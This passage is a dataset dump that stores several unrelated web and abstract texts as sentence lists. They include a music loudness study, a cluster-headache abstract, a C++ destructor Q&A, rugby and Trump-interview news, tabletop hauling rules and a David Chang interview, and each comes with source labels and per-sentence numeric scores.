"Plotting them provides a visual account of the so-called loudness race (or loudness war), a terminology that is used to describe the apparent competition to release recordings with increasing loudness33,34, perhaps with the aim of catching potential customers' attention in a music broadcast (from our point of view, loudness changes are not only the result of technological developments but, in part, also the result of conscious decisions made by musicians and producers in the musical creation process, cf.33). ",
"The empiric median of the loudness values x grows from −22 dB FS to −13 dB FS (Fig. ",
"4b), with a least squares linear regression yielding a slope of 0.13 dB/year (p < 0.01, t-test). ",
"In contrast, the absolute difference between the first and third quartiles of x remains constant around 9.5 dB (Fig. ",
"4c), with a regression slope that is not statistically significant (p > 0.05, t-test). ",
"This shows that, although music recordings become louder, their absolute dynamic variability has been conserved, understanding dynamic variability as the range between higher and lower loudness passages of a recording34. ",
"However and perhaps most importantly, one should notice that digital media cannot output signals over 0 dB FS 35, which severely restricts the possibilities for maintaining the dynamic variability if the median continues to grow.",
"\n\nFigure 4 Loudness distributions. (",
"a) Examples of the density values and fits of the loudness variable x. (b) Empiric distribution medians. (",
"c) Dynamic variability, expressed as absolute loudness differences between the first and third quartiles of x, |Q 1 − Q 3 |. ",
"Full size image\n\nFinally we look at loudness transition networks, which show comparable degree distributions, a median degree between 13 and 14, values of l between 8 and 10 and a Γ fluctuating around 1.08. ",
"Noticeably, l is appreciably beyond the values obtained by randomly wired networks. ",
"The values of C have an average of 0.59 ± 0.02, also much above the values obtained by the random networks. ",
"These two observations suggest that the network has a one-dimensional character, inferring that no extreme loudness transitions occur (one rarely finds loudness transitions to drive a musical discourse). ",
"The very stable metrics obtained for loudness networks imply that, despite the race towards louder music, the topology of loudness transitions is maintained."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0006030991789884865,
0.0008432631730102003,
0.0005780868232250214,
0.0006036671111360192,
0.0005337727488949895,
0.000592126976698637,
0.0005479363608174026,
0.0005449204472824931,
0.0005926817539148033,
0.0005757665494456887,
0.0005867326981388032,
0.0006136406445875764,
0.000690842280164361,
0.0005778097547590733,
0.0005996118998154998,
0.0008214895497076213,
0.0006220153300091624,
0.0006670595030300319,
0.0008488119929097593,
0.0005771373980678618,
0.0005944153526797891,
0.0006253080209717155,
0.0005871455068700016,
0.0005847649881616235,
0.0005357800400815904,
0.0006069618975743651,
0.0006302690017037094,
0.0005522957071661949,
0.0006067704525776207,
0.0006814792286604643,
0.000572045857552439,
0.0005571802030317485,
0.0005634752451442182,
0.0006053904653526843,
0.0006336768856272101,
0.0005726587842218578,
0.000551133300177753,
0.0005597405252046883,
0.0006106409709900618,
0.000573245226405561,
0.0006330279866233468,
0.0005633718683384359,
0.000560470565687865,
0.0005226473440416157,
0.0005561185535043478,
0.0006303296540863812,
0.0005787130794487894,
0.0005323847872205079,
0.0005697481683455408,
0.0005815576296299696,
0.0006856481777504086,
0.0006461272714659572,
0.0006819102563895285,
0.0005501753767021,
0.0006110009853728116,
0.0006396527169272304,
0.0008609519572928548,
0.0006064033368602395,
0.0006285464623942971,
0.0006051844684407115,
0.0006130280089564621,
0.0005745922098867595,
0.0006149227847345173,
0.0006725367857143283,
0.0005841878592036664,
0.0005979804554954171,
0.00084594392683357,
0.0005742782377637923,
0.0006777324015274644,
0.0006897337734699249,
0.0007937892223708332,
0.0005990538047626615,
0.000864272122271359,
0.0006635822355747223,
0.0006945347413420677,
0.0006469520158134401,
0.0006127101951278746,
0.0006367213209159672,
0.0006001472938805819,
0.000580915599130094,
0.0005721980123780668,
0.0005805770633742213,
0.000623491418082267,
0.0007755137048661709,
0.0007268399349413812,
0.0006296364590525627,
0.0006023782771080732,
0.0008561094291508198,
0.0005635109846480191,
0.0005633627297356725,
0.0006565555231645703,
0.0006174651207402349,
0.0008400860242545605,
0.0007527966517955065,
0.0006098917801864445,
0.0008280957117676735,
0.0006041704909875989,
0.0006832297658547759,
0.0006471632514148951,
0.0005932036438025534,
0.0006194235174916685,
0.0008185877813957632,
0.0006214968161657453,
0.0007044633384793997,
0.0005931363557465374,
0.0006924146437086165,
0.0006936999852769077,
0.0005771594005636871,
0.0005956820677965879
] | 0.000633 | 109 |
[
"Integration Activitities\n\nCall Rest Action can be used to call a REST endpoint. ",
"You can use mappings to map results to entities or entities to requests. ",
"You can also use string templates and store the result in a string variable.",
"\n\nCall Web Service Action can be used to call one of the imported web services. ",
"The content of the request can be edited. ",
"Furthermore the response of the webservice can be mapped to entities, stored in a variable or be ignored.",
"\n\nImport with Mapping can be used to parse the data in a string variable or data stored in a file document, and store them to entities defined in the domain model of the database. ",
"An Import Mapping is used to map the incoming XML or JSON to entities.",
"\n\nExport with Mapping can be used to export the data stored in domain model entities into an XML or JSON string. ",
"It can also be stored in a file document. ",
"An Export Mapping is used to map domain model entities into XML or JSON."
] | {
"pile_set_name": "Pile-CC"
} | [
0.000622912310063839,
0.0006287088035605848,
0.000661397585645318,
0.000630267197266221,
0.0005390532896853983,
0.0006182654178701341,
0.0006141920457594097,
0.0006121799233369529,
0.0006084631895646453,
0.0005827497807331383,
0.0005992933292873204
] | 0.000611 | 11 |
[
"Acute hypothalamic stimulation and ongoing cluster headache attacks.",
"\nLong-term hypothalamic stimulation is effective in improving drug-resistant chronic cluster headache (CH). ",
"We assessed acute hypothalamic stimulation to resolve ongoing CH attacks in 16 patients implanted to prevent chronic CH, investigating 136 attacks. ",
"A pain intensity reduction of > or =50% occurred in 25 of 108 evaluable attacks (23.1%). ",
"Acute hypothalamic stimulation is not effective in resolving ongoing CH attacks, suggesting that hypothalamic stimulation acts by complex mechanisms in CH prevention."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0016513703158125281,
0.0008136011310853064,
0.000662386417388916,
0.0007667405297979712,
0.0008450199384242296
] | 0.000948 | 5 |
[
"Q:\n\nDoes deleting superclass call destructor of it's fields?",
"\n\nI have the following code:\ntemplate<class T>\nclass List<T> {\n class Node{\n T data;\n Node * next;\n ...\n };\n Node * head;\n ...\n ~List() {/*iterating through all nodes and deleting them*/}\n ...\n};\n\ntemplate<class T>\nclass Tree<T> {\n class Node {\n Node * next;\n ...\n T key;\n List<int> internal_list;\n };\n destroy_node(Node * x) { delete x; }\n};\n\nDoes destroy_node(Node * x) call the destructor of the List<T> class or do I need to call it explicitly?",
"\n\nA:\n\nYes.",
"\nA class's destructor always calls all sub-objects' destructors, in the reverse order of construction.",
"\nIt does not matter whether they are virtual base-classes, normal base-classes or member sub-objects for the above to hold.",
"\n(virtual base-classes are always constructed and destructed directly by the most-derived-class, never by a base-class.",
"\nAnd if you destroy an object through a pointer neither of most-derive type, nor possessing a virtual dtor, all bets are off anyway.)",
"\n\n"
] | {
"pile_set_name": "StackExchange"
} | [
0.0014895471977069974,
0.00942612811923027,
0.0008292437996715307,
0.0009011126821860671,
0.0009243591921404004,
0.0006468200590461493,
0.001724212896078825,
0.001995444530621171
] | 0.002242 | 8 |
[
"(CNN) Forget the halftime concerts, the rich and famous sat courtside being snapped by the paparazzi, and the celebrity first pitch -- it's time for sport to trump entertainment.",
"\n\nThat's the view of Doug Schoninger, who is planning to take the fastest-growing sport in the U.S. and make it a mainstay of American culture.",
"\n\nSchoninger believes PRO Rugby , a five-team professional franchise he launched last month, can tap into the grassroots of local sport which the bigger franchises like NFL and NBA have moved away from.",
"\n\n\"I feel that America needs a more traditional sport -- less entertainment, more sport,\" Schoninger told CNN World Rugby.",
"\n\n\"Rugby represents the same kind of traditions as the existing sports had many years ago. ",
"The hard work, toil, reward and -- hopefully and eventually -- people who are part of the community and players who can be given the opportunity and platform to perform extraordinarily.",
"\n\n\"Some of the professional sports have migrated a little from that. ",
"We feel there's a void for a more connected, cooperative sport where the fans can really feel at one with the player and not so much have the wall so high between them and the fan.\"",
"\n\nSchnoninger wants fan engagement -- supporters being close to the players, at smaller stadiums with capacities ranging from 5-12,000 at most, and the opportunity for youngsters to see the game from real close up.",
"\n\nHe wants big-name players such as Mils Muliaina, the former All Black who won 100 caps for New Zealand, and Italy's Mirco Bergamasco, to inspire where other sports are failing.",
"\n\nSchoninger, a huge NFL fan, watched around 20 games last season -- but he feels that fans are failing to gain the maximum impact from their experience.",
"\n\nSan Francisco and Sacramento went head to head on the opening weekend.",
"\n\n\"In NFL you're very disconnected from the field,\" he said.",
"\n\n\"I think the most important thing for an in venue experience is the distance to the pitch. ",
"It really doesn't matter what sport you're talking about. ",
"You need to be close, you need to feel connected. ",
"A lot of the stadiums, for me, have got too big and corporate.\"",
"\n\nSchnoninger is trying to capitalize on an upsurge of popularity for U.S. rugby, which has grown by 81% between 2008-13.",
"\n\nHe has invested heavily, with around 40 of the top-tier players being paid $35,000 and tier-two players receiving $20,000 for the competition, which runs between April 17-July 31.",
"\n\nFigures provided by USA Rugby state there are more than 115,000 registered rugby players in the country with 32,000 of those at colleges, and the rest in high schools and clubs across 48 of the 50 states. ",
"And it's not just the men's game which is growing -- 25% of those registered are women.",
"\n\nSacramento defeated San Francisco 37-25 in the league's first match.",
"\n\nA separate report from the Sports Fitness Industry Association in the U.S. puts the number of participants in rugby at 1.2 million.",
"\n\nA match between the USA Eagles, the men's 15-a-side national team, and New Zealand's All Blacks at Chicago's Soldier Field in 2014 demonstrated the potential audiences in America, drawing a record crowd of 61,000.",
"\n\nIn March, England's Aviva Premiership hosted a regular season game at New York's Red Bull Arena, with over 14,000 turning out to watch Saracens defeat London Irish.",
"\n\nAdd the Olympic debut of rugby sevens at Rio 2016 in August and it's not a surprise why the game is on the up.",
"\n\nThe appetite for rugby is there, according to Schoninger, though he preaches patience with the venture still in its infancy.",
"\n\nThe teams, based in Denver, Ohio, San Diego, Sacramento and San Francisco, have already attracted new fans to the game.",
"\n\nBut while crowds are around the 3,000 mark at the moment, Schoninger is optimistic they will grow. ",
"He plans to introduce more and more teams over the next couple of years.",
"\n\nDenver and Ohio braved the weather during their opening weekend clash.",
"\n\n\"I think like anything new it can take time,\" he added.",
"\n\n\"We are lucky that we have a good base for rugby followers in this country which has been estimated to be anywhere between one million to 17 million.",
"\n\n\"My guess is it's one to 2.5 million who follow rugby on a weekly basis, at least. ",
"I think off of that base we can grow. ",
"It's a great opportunity for people to understand other types of sports.",
"\n\n\"We give a great opportunity to a lot of international players to come to America, experience America, most of them are English speaking so lots of the other countries aren't as desirable because of language barriers and lifestyle issues. ",
"Getting a five-year visa, playing the game, getting well coached with world-class training facilities and sometimes much better to what they're used to.",
"\n\n\"I think it will be a case of years not decades that we're going to start looking like a really powerful rugby country.\""
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0008259533206000924,
0.0007311179069802165,
0.0006680086371488869,
0.0007313545793294907,
0.000601785781327635,
0.0005895045469515026,
0.0005721175111830235,
0.0006351241027005017,
0.0007155497441999614,
0.0017631675582379103,
0.0006199299823492765,
0.0007088670390658081,
0.0010503522353246808,
0.0005066064768470824,
0.0011424969416111708,
0.0008529449114575982,
0.000660560152027756,
0.0007289956556633115,
0.0005996267427690327,
0.0006135201547294855,
0.007129139732569456,
0.0011949485633522272,
0.0005549502093344927,
0.0007118853973224759,
0.0009234771132469177,
0.0005471261101774871,
0.0008205734193325043,
0.0005874284543097019,
0.000661734608002007,
0.0005733217694796622,
0.0005901814438402653,
0.0005903501878492534,
0.0005265538929961622,
0.000734398199710995,
0.0006428034394048154,
0.0005654152482748032,
0.0005179471336305141,
0.0006232205196283758,
0.0006624795496463776
] | 0.000884 | 39 |
[
"Image copyright AP Image caption Into the lions' den: Trump grilled by the New York Times\n\nFirst it was on, then it was off, then it was on again. ",
"When it finally got going, President-elect Donald Trump's on-the-record interview with the New York Times lasted just over an hour.",
"\n\nIt was conducted at the paper's offices by a range of senior editors and political reporters who tweeted his responses in real time. ",
"So what did we learn?",
"\n\nHe's keeping an 'open mind' on climate change\n\nIn 2012 Mr Trump said the idea of global warming was a hoax devised by China to make US manufacturing uncompetitive.",
"\n\nWhile campaigning in May, he vowed to \"cancel\" the landmark Paris Agreement on tackling climate change and stop financial support for climate action.",
"\n\nHere's what he has now told the New York Times:\n\nImage copyright Twitter\n\nAnd he goes on to say there is \"some connectivity\" between climate change and human activity and that \"clean air is vitally important\".",
"\n\nBut, he reiterated his concerns about the cost to \"our companies and the effect on American competitiveness\".",
"\n\nTrump: The best thing ever for climate change?",
"\n\nSon-in-law could make peace between Israel and the Palestinians\n\nImage copyright AP Image caption Special envoy? ",
"Jared Kushner with wife Ivanka Trump\n\nOn the campaign trail, Mr Trump professed his love for Israel but failed to articulate any clear policy on resolving the conflict with the Palestinians.",
"\n\nCould his son-in-law - a 35-year-old real estate heir with no experience in diplomacy - hold the answer?",
"\n\nImage copyright Twitter\n\nJared Kushner, who is married to Mr Trump's daughter Ivanka, is said to have the president-elect's ear on many issues and is a key figure in his transition team.",
"\n\nThe millionaire is an Orthodox Jew whose grandparents were Holocaust survivors.",
"\n\nWho is Jared Kushner, Trump's right hand man?",
"\n\nTo judge by Mr Trump's comments to the New York Times, the conflict appears to have risen up his policy agenda.",
"\n\nImage copyright Twitter\n\n'We have to solve' Syria\n\nThe president-elect has in the past suggested making common cause with Russia in the fight against so-called Islamic State and has even proposed sending troops to defeat the militants.",
"\n\nBut he has also attacked foreign entanglements, criticising US involvement in the Iraq War.",
"\n\nCould he be envisaging a more pro-active role in Syria in his NYT interview?",
"\n\nImage copyright Twitter\n\nBut he tempers this with a subsequent: \"I don't think we should be a nation-builder.\"",
"\n\nProsecuting Hillary Clinton would be 'very divisive for the country'\n\nImage copyright AP Image caption Off the hook?",
"\n\nAt campaign rallies and presidential debates, Mr Trump frequently went on stage to supporters' \"lock her up\" chants and during the debates said he planned to get a special prosecutor to conduct a fresh investigation.",
"\n\nHis handbrake turn on that policy became clear only hours before his interview with the New York Times.",
"\n\nTrump won't pursue Clinton email inquiry\n\nSo why would he now not prosecute Mrs Clinton?",
"\n\nImage copyright Twitter\n\nWhile he said a new inquiry was still a possibility he also suggested this would not be a priority.",
"\n\nImage copyright Twitter\n\nHe 'disavows and condemns' fringe right-wing group\n\nMedia playback is unsupported on your device Media caption Hail Trump: White nationalists mark Trump win with Nazi salute\n\nBacking for Mr Trump from the \"alt-right\" was again thrown into the spotlight after supporters were filmed on Saturday at a meeting in Washington DC hailing his victory with Nazi salutes.",
"\n\nAnswering questions from the NYT, he firmly distances himself.",
"\n\nImage copyright Twitter\n\nConcern has been fuelled by his appointment of Steve Bannon, a former editor of \"alt-right\" publication Breitbart to the post of Trump's chief strategist.",
"\n\n\"If I thought he was a racist or alt-right or any of the things, the terms we could use, I wouldn't even think about hiring him,\" Mr Trump says.",
"\n\nAnd on Breitbart itself?",
"\n\nImage copyright Twitter\n\nTrump disavows 'alt-right' supporters\n\nConflict of interest: Selling the company is 'a really hard thing to do'\n\nHe's a billionaire property developer so the issue of whether his business interests could conflict with his presidential activities refuses to go away.",
"\n\nTo the NYT, he downplays the significance of his holdings, saying they are \"unimportant to me relative to what I'm doing\".",
"\n\nSelling up altogether though, he said, would be difficult.",
"\n\nImage copyright Twitter\n\n\"The law's totally on my side,\" Mr Trump said. \"",
"The president can't have a conflict of interest.\"",
"\n\nThe Washington Post described this statement as the \"most dangerous\" thing he said, and that it had echoes of both President Nixon and Judge Dredd.",
"\n\nA possible retreat on waterboarding\n\nMr Trump had always insisted that waterboarding - which was banned by the US in 2006 - was a defensible tool for fighting terror.",
"\n\nBut now he says it's \"not going to make the kind of difference that a lot of people are thinking\".",
"\n\nHis apparent about-turn appears to be down to a conversation with James Mattis, who has held talks with the president-elect about heading the Pentagon.",
"\n\n\"He [Mattis] said 'I've never found it to be useful,'\" said Mr Trump, who added: \"I was very impressed by that answer.\"",
"\n\n'Warrior Monk' tipped to head Pentagon\n\nThe New York Times itself: From 'failing' to 'great American jewel'\n\nImage copyright Reuters\n\nIt's fair to say Mr Trump's relations with the New York Times have in recent months been cool at best.",
"\n\nHe has accused the paper, and much of the media, of bias against him, prefacing any reference to the NYT with the word \"failing\".",
"\n\nBut he evidently left the building with a favourable impression, producing this volte-face."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0006598170148208737,
0.0005467153387144208,
0.0005634524277411401,
0.0008127905894070864,
0.0006599098560400307,
0.0006865612813271582,
0.0005662352778017521,
0.0007048612460494041,
0.0006334238569252193,
0.0008528546895831823,
0.0009048428037203848,
0.0014983031433075666,
0.0006063762120902538,
0.07847333699464798,
0.0015821672277525067,
0.0006173951551318169,
0.0008020033710636199,
0.0019568621646612883,
0.0006779723335057497,
0.0006497709546238184,
0.0008457847870886326,
0.0006566944648511708,
0.0007322084275074303,
0.0007921921787783504,
0.0005860368837602437,
0.0012295997003093362,
0.0007092332816682756,
0.0007072971202433109,
0.0031502272468060255,
0.0009039018186740577,
0.0007191288168542087,
0.0005908450111746788,
0.0006592978606931865,
0.0007504237582907081,
0.0006194734014570713,
0.0006139915785752237,
0.0006939769955351949,
0.0006348946481011808,
0.0006257249624468386,
0.0005674692802131176,
0.000555993989109993,
0.0011785277165472507,
0.08449334651231766
] | 0.004592 | 43 |
[
"Treatment of arm, neck, and/or shoulder complaints in physical therapy practice.",
"\nThis is a prospective cohort study with a follow-up period of 6 months. ",
"To describe the interventions applied by physical therapists in treating patients with complaints of the arm, neck, and/or shoulder. ",
"Complaints of the arm, neck, and/or shoulder occur frequently and are usually treated within primary care. ",
"Many patients with these complaints are treated with physical therapy. ",
"During a 1-year period, the participating physiotherapists included new consulters with musculoskeletal complaints of the upper extremity. ",
"The patients completed a questionnaire at baseline, and the physical therapists completed a treatment record for up to 6 months. ",
"Of the 624 patients included in the cohort, physical therapists provided treatment data of 619 patients. ",
"The main treatment consisted of exercise therapy (93%) and massage (87%), or a combination of both. ",
"More patients with specific complaints received physical methods, and patients with nonspecific complaints were treated with manipulation techniques. ",
"The primary treatment of complaints the of arm, neck, and/or shoulder in physiotherapy practice consists of exercise therapy and massage therapy, mostly being a combination of both. ",
"Future studies should focus on the effectiveness of exercise therapies, combined or not combined with massage, for patients with complaints of the arm, neck, and/or shoulder."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0008649283554404974,
0.0005466768052428961,
0.0007661445415578783,
0.0008870811434462667,
0.0008882622933015227,
0.0020630438812077045,
0.0005327464896254241,
0.0006097630248405039,
0.0006326317088678479,
0.0006867713527753949,
0.0009241988882422447,
0.0006358774844557047
] | 0.000837 | 12 |
[
"Utsuri goshi\n\n, or the changing hip throw, is one of the original 40 throws of Judo as developed by Jigoro Kano. ",
"It belongs to the fourth group, Yonkyo, of the traditional throwing list, Gokyo-no-Nagewaza, of Kodokan Judo. ",
"It is also part of the current 67 Throws of Kodokan Judo. ",
"It is classified as a hip technique, Koshi-Waza.",
"\n\nTechnique description \nGraphic\nfrom http://www.judoinfo.com/techdraw.htm.",
"\n\nJudo:judoinfo.com\n\nExemplar videos:\n\nTournament\nfrom http://www.judoinfo.com/video8.htm\n\nTechnique history\n\nIncluded systems \nSystems:\nKodokan Judo, Judo Lists\nDanzan Ryu, Danzan Ryu Lists\nLists:\nThe Canon Of Judo\nJudo technique\n\nSimilar techniques, variants and aliases \nEnglish aliases:\nHip shift\nSwitching Hip Throw\nChanging Hip Throw\n\nCategory:Judo technique\nCategory:Throw (grappling)"
] | {
"pile_set_name": "Wikipedia (en)"
} | [
0.0025105951353907585,
0.0018736965721473098,
0.0009820632403716445,
0.0008867409196682274,
0.0006373980431817472,
0.0008004080154933035
] | 0.001282 | 6 |
[
"Have you been sitting around waiting for one of your friends to ask you to help them move? ",
"Well, wait no more. ",
"Using these advanced hauling rules, you can now get all the fun and excitement of moving day by playing Torchbearer!",
"\n\nThese rules certainly aren’t for all situations, but when combined with a timer they can add real tension and drama to a session. ",
"Use these rules for looting a chamber with a rising water level, robbing the baron’s manor before the guards arrive, or clearing out the castle before the enemy army marches in!",
"\n\nThe Haul\n\nWhen adventurers carry something in inventory, it’s assumed they’re able to move at a normal pace using one or more hands to contribute to the load. ",
"But some extremely heavy or unwieldy items are ungainly to move, and helping with just one hand is useless at best—dangerous at worst.",
"\n\nHeave and Hoist are new inventory terms, similar to Pack, Carried, and Worn. ",
"They’re used for bulky objects that can be dangerous to haul.",
"\n\nHeave\n\nHeaving is when one or more people carry something with both hands. ",
"An item with an inventory value of Heave 2 means 2 people are needed to move it, and they must use both hands.",
"\n\nDepending on the shape of the object, you have two other options when heaving a load:\n\nHeave (Drag): Any non-fragile object can be dragged. ",
"Dragging reduces the number of heavers needed by 1, but it increases the chance of a mishap. ",
"-1 on mishap table rolls.",
"\n\nAny non-fragile object can be dragged. ",
"Dragging reduces the number of heavers needed by 1, but it increases the chance of a mishap. ",
"-1 on mishap table rolls. ",
"Heave (Roll): Round objects that are not fragile can be rolled. ",
"Rolling turns a Heave value into a Carry value, but you must still test Laborer and roll for a mishap in the event of a twist. ",
"Rolling incurs -1 on mishap table rolls.",
"\n\nHoist\n\nHoisting is when two or more people move something with the aid of an engineered system. ",
"An inventory value of Hoist 2 requires at least 2 people to work the system.",
"\n\nRope, Block and Tackle: Block and tackle are required tools to move anything with a Hoist value. ",
"This is included as part of any Laborer’s skill tools. ",
"Bought individually, they cost Ob 2 Resources and take up Pack 2 worth of space. ",
"A separate rope is required to hoist, even for skilled Laborers with their tools.",
"\n\nMight Advantage\n\nEach level on the order of might above 3 counts as an additional person when heaving or hoisting. ",
"If you somehow convince an ogre to aid you, they’ll do the work of three men.",
"\n\nPorters\n\nA team of hired porters comprises 4 individuals. ",
"However, since they are carrying their own basic gear and light, they only have one spare hand each, in addition to two pack slots among the group. ",
"They can shuffle their belongings to ensure that two of them have both hands free, contributing an extra Heave 2 or Hoist 2 as needed.",
"\n\nStowing Heave and Hoist Objects\n\nWhen determining whether Heave or Hoist items can fit into carts and wagons from The Vagrant’s Guide, treat them as taking stow slots equal to twice their rating.",
"\n\nHauling Tests\n\nMoving an object with a Hoist or Heave rating is always a risk. ",
"Make a test using the standard hauling factors from the laborer skill. ",
"As usual, a failure will result in a twist or a conditional success. ",
"But what happens to the cargo?",
"\n\nMishaps\n\nAny time the party encounters something unexpected or earns a twist from a failed roll, any object being heaved or hoisted is subject to a mishap. ",
"Roll 1d6 on the mishap table. ",
"Fragile objects are more prone to mishaps, and suffer a -1 on mishap table rolls. ",
"Sturdy objects are never damaged or destroyed by a mishap, only lost or difficult to reach.",
"\n\n1d6 Mishap 1–2 Cargo destroyed or irretrievably lost 3–4 Cargo damaged or difficult to reach 5–6 Cargo intact\n\nPassage\n\nTrace the best available path of the item out of the site. ",
"Of course, you can always use a series of Stonemason, Carpenter, or other tests to shore up the safety or increase the size of the passage.",
"\n\nBad Footing: gaps, tripping hazards, and balancing acts add -1 to mishap table rolls.",
"\n\ngaps, tripping hazards, and balancing acts add -1 to mishap table rolls. ",
"No Purchase: A complete lack of footing—often the case if the party used Dungeoneer or climbing apparatus to gain passage—converts all Heave ratings to Hoist ratings.",
"\n\nA complete lack of footing—often the case if the party used Dungeoneer or climbing apparatus to gain passage—converts all Heave ratings to Hoist ratings. ",
"Water and Moisture: Slick surfaces apply a -1 to mishap table rolls. ",
"Some fragile objects vulnerable to moisture (e.g. paintings and tapestries) appy a further -1 to mishap table rolls.",
"\n\nSlick surfaces apply a -1 to mishap table rolls. ",
"Some fragile objects vulnerable to moisture (e.g. paintings and tapestries) appy a further -1 to mishap table rolls. ",
"Serpentine: Twisty passages cause complications for long objects. ",
"Treat long objects as one size larger when determining whether they can pass through.",
"\n\nTwisty passages cause complications for long objects. ",
"Treat long objects as one size larger when determining whether they can pass through. ",
"Going Down: Moving items down from a height is generally easier (reduce Laborer Ob by 1), but applies a -1 to mishap table rolls.",
"\n\nMoving items down from a height is generally easier (reduce Laborer Ob by 1), but applies a -1 to mishap table rolls. ",
"Going Up: Lifting items up from the depths is generally harder (additional Laborer factor), and applies a -1 to mishap table rolls.",
"\n\nLifting items up from the depths is generally harder (additional Laborer factor), and applies a -1 to mishap table rolls. ",
"Danger/Distraction: A nearby lava flow might be at a safe distance from the workers, but it certainly hurts their ability to focus. ",
"Apply a -1 to mishap table rolls.",
"\n\nKeywords\n\nHere are some keywords that can be used to help with the haul.",
"\n\nSet: These items can be split up and packed away, but are only valuable or useful as a complete set. ",
"Stackable items can be combined in a single slot, but always take at least one slot.",
"\n\nThese items can be split up and packed away, but are only valuable or useful as a complete set. ",
"Stackable items can be combined in a single slot, but always take at least one slot. ",
"Jumble: A jumble item takes twice as much space if packed in a rush. ",
"A skill test might be made to speed-pack if there’s time.",
"\n\nPortability\n\nSmall: Smaller than an adult person, i.e. can fit through a small window or crawlspace.",
"\n\nSmaller than an adult person, i.e. can fit through a small window or crawlspace. ",
"Medium: about the size or an adult person, i.e. can pass through a standard door with ease.",
"\n\nabout the size or an adult person, i.e. can pass through a standard door with ease. ",
"Large: Can pass easily through a double door.",
"\n\nCan pass easily through a double door. ",
"Huge: Requires a barn door or larger to pass through.",
"\n\nShape\n\nLong: long objects interact with twisty passages.",
"\n\nlong objects interact with twisty passages. ",
"Round: You can roll round objects, reducing the manpower required at the risk of damage or mishap.",
"\n\nCommonly Hauled Items"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0007330522057600319,
0.0010325860930606723,
0.001517584314569831,
0.0005750018171966076,
0.004571008030325174,
0.0006073365802876651,
0.0017219048459082842,
0.0009722798131406307,
0.0007603270933032036,
0.0007598186493851244,
0.0006959049496799707,
0.0009557947050780058,
0.0008444162085652351,
0.000670103938318789,
0.0006223702221177518,
0.0008444162085652351,
0.000670103938318789,
0.0009216992184519768,
0.0009629320702515543,
0.0007529466529376805,
0.0014452643226832151,
0.0007238455000333488,
0.0016257013194262981,
0.0007245197775773704,
0.0018125086789950728,
0.0012093432014808059,
0.0008510711486451328,
0.06715606153011322,
0.0006392435170710087,
0.0006507957587018609,
0.0008516613161191344,
0.0008887715521268547,
0.0011922881240025163,
0.0006352711352519691,
0.0013872516574338078,
0.0009563554194755852,
0.0007958148489706218,
0.0009440612629987299,
0.0017443017568439245,
0.0008329346892423928,
0.001876457710750401,
0.0006322971894405782,
0.000706917024217546,
0.0007000142941251397,
0.0008051509503275156,
0.0009188721887767315,
0.0006454846588894725,
0.0006606759852729738,
0.0007690847269259393,
0.0006606759852729738,
0.0008817409980110824,
0.0007351768435910344,
0.0009239268256351352,
0.0007351768435910344,
0.000750504492316395,
0.000705516489688307,
0.0006637694896198809,
0.0006675432086922228,
0.0006539364694617689,
0.0008056044462136924,
0.0006091903196647763,
0.0006828235927969217,
0.0006035296246409416,
0.0006813447689637542,
0.0006035296246409416,
0.000797902699559927,
0.0007263550069183111,
0.0016223621787503362,
0.0054961615242064,
0.0006512849940918386,
0.0008057945524342358,
0.0007113221799954772,
0.0007617695955559611,
0.0016064277151599526,
0.0007325232145376503,
0.0009450377547182143,
0.0020131240598857403,
0.0006997231976129115
] | 0.001858 | 78 |
[
"When it comes to culinary schools, there aren't many chefs out there more outspoken than David Chang. ",
"The Momofuku empire-builder once took his frustration to Twitter, telling culinary schools to \"stop sending kids to resorts & hotels where they will learn nothing...its [sic] poisoning our talent pool.\" ",
"He has also advocated for the return of apprenticeship programs in lieu of culinary school.",
"\n\nIn the following interview, Chang — who himself attended culinary school as well as a liberal arts college — further explains his opposition to young cooks getting their start in a hotel or resort kitchen. ",
"He also talks about the alternatives to culinary school, why New York restaurants are feeling the loss of good talent, and what he perceives as a pretty dismal five-year retention rate for the cooking profession. ",
"And stay tuned for a broader look at the pros and cons of culinary school.",
"\n\nIn the past you've lamented about the talent pool coming out of these schools and said that you think the system is broken. ",
"What are those traits that you're seeing in culinary grads and why is culinary school to blame?",
"\n\nFirst and foremost, I think you can safely say that almost every form of education in America seems to be broken or needs to be improved. ",
"I don't think that trade schools or craft schools such as culinary school can be exempt from that. ",
"At end of day, we're learning a profession. ",
"We're not doctors, we're not saving lives.",
"\n\nFor some of the larger non-profit culinary schools, there seems to be a revolving door sort of arrangement with a lot of the corporate food companies and hotels. ",
"Basically, what happens is once they graduate cooking school they get paid anywhere from $75,000 to, say, $100,000 to work at resort like Beaver Creek or Kona Hawaii. ",
"Any beautiful place. ",
"They're going to put them up, they're going to pay them a lot of money, and they're going to subsidize their housing. ",
"And they're going to do that for two years. ",
"They'll work in corporate hotel kitchen where they're not going to learn intuition. ",
"They're going to have a fun time, absolutely.",
"\n\nBut by the time they're in their third year or so where they should be learning the fundamentals and honing their skills, they're going to want to move on and become a sous chef or whatever. ",
"But they're not going to be able to do that at that particular restaurant. ",
"More than likely, they're going to come back to the States or a major city and they're going to have two years of experience under their belt, but experience that really taught them not that much. ",
"They feel that they have a lot of experience to offer but they really don't.",
"\n\nI don't know how many students are like that, but it seems to me more and more students have that on their resume. ",
"If you're a 22-year-old culinary school graduate going to Hawaii and working at a hotel, that's awesome. ",
"You're getting paid a lot of money and you're not really paying rent. [",
"Those hotels] really just need bodies. ",
"And then after two years or so, they can just replenish that with other culinary school kids.",
"\n\nThis is something that the schools kind of make happen?",
"\n\nI don't know if they make it happen. ",
"But it is what it is. ",
"It would be different if [cooks] were coming into the workforce with a solid set of skills. ",
"But really they just know how to make banquet food. ",
"I know this. ",
"I've seen it. ",
"Guys and girls that know how to cook fish in large batches, but they don't know how to cook in a restaurant kitchen. ",
"What I'm saying is that it's not an important skillset to use. ",
"Being a hotel chef, that's very hard and demanding. ",
"Nobody is doing anything wrong. ",
"I just think that for where people want to go and the fact there are so many restaurants now, it needs to be fixed.",
"\n\nI'm sure you you've spoken to a lot of chefs and most of them would probably say there's just a lack of talent. ",
"And why would that be since enrollment in culinary school is higher than it's ever been and there's more access to this than ever before? ",
"Culinary awareness is at an all-time high in America. ",
"Where are we losing everybody?",
"\n\nSome of these schools turning into factories?",
"\n\nThere are many issues at hand and obviously that's one of them. ",
"I think enrollment standards need to be a little bit higher. ",
"I think nonprofit institutions really have to ask themselves are they really being nonprofit institutions?",
"\n\nHow so?",
